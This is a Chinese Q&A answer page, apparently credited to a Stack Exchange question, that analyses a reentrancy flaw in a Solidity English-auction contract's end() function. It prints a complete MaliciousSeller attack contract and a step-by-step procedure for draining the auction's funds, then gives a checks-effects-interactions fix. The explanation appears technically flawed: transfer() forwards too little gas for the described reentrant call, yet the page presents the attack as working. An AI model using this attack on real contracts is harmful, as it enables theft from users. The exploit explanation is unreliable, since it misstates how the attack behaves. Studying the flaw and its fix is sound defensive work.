You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Solidity英式拍卖合约重入漏洞分析与攻击实现求助

英式拍卖合约重入漏洞分析与攻击演示

漏洞成因

你的end()函数存在重入漏洞,核心问题在于执行顺序错误:先调用外部转账(seller.transfer(highestBid)),再修改合约状态(ended = true)。

当seller是一个恶意合约时,transfer函数会触发恶意合约的receive/fallback回调函数。此时拍卖合约的ended状态仍为false,恶意合约可以在回调中重复调用end()函数,多次触发转账逻辑,窃取拍卖合约内的所有可用资金。

你之前无法触发回调是因为恶意合约未实现receive或fallback函数——这两个函数是合约接收以太的必要条件,实现后就能触发回调逻辑。

恶意攻击合约示例

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

interface IEnglishAuction {
    function start() external;
    function end() external;
    function ended() external view returns (bool);
}

interface IERC721 {
    function transferFrom(address from, address to, uint256 tokenId) external;
}

contract MaliciousSeller {
    IEnglishAuction public auction;
    uint256 public stolenFunds;

    constructor(address _auctionAddr) {
        auction = IEnglishAuction(_auctionAddr);
    }

    // 接收以太时触发重入攻击
    receive() external payable {
        // 只要拍卖未标记结束,就重复调用end()
        if (!auction.ended()) {
            auction.end();
        }
        stolenFunds += msg.value;
    }

    // 提前将NFT授权给拍卖合约后,启动拍卖
    function startAuction(address _nft, uint256 _nftId) external {
        IERC721(_nft).transferFrom(msg.sender, address(auction), _nftId);
        auction.start();
    }

    // 提取窃取的资金
    function withdraw() external {
        payable(msg.sender).transfer(stolenFunds);
        stolenFunds = 0;
    }
}

攻击执行流程

  1. 部署准备:部署MaliciousSeller合约,传入目标拍卖合约地址(拍卖合约的seller必须设置为该恶意合约地址)。
  2. 授权与启动:将拍卖用的NFT授权给恶意合约,调用startAuction()启动拍卖。
  3. 诱导出价:让第三方用户向拍卖合约出价(例如出价1 ETH),等待拍卖结束时间到期。
  4. 触发攻击:调用拍卖合约的end()函数。第一次执行时,拍卖合约向恶意合约转账1 ETH,触发receive()回调;此时ended仍为false,回调中再次调用end(),重复转账直到拍卖合约余额耗尽。

漏洞修复方案

遵循Solidity安全开发的**检查-影响-交互(CEI)**原则,先修改合约状态,再执行外部交互操作:

function end() external {
    require(started, "Need to start first");
    require(block.timestamp >= endAt, "Auction is still going");
    require(!ended, "Auction has already finished");

    // 先标记拍卖结束,锁定状态
    ended = true;

    if (highestBidder != address(0)) {          
        seller.transfer(highestBid);
        nft.safeTransferFrom(address(this), highestBidder, nftId);
    } else {
        nft.safeTransferFrom(address(this), seller, nftId);
    }

    emit End(highestBidder, highestBid);
}

修改后,即使恶意合约在转账时触发回调,ended已经为true,无法再次调用end()函数,彻底阻断重入路径。

内容的提问来源于stack exchange,提问作者Daniil Kuntsevych

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.23 21:14:53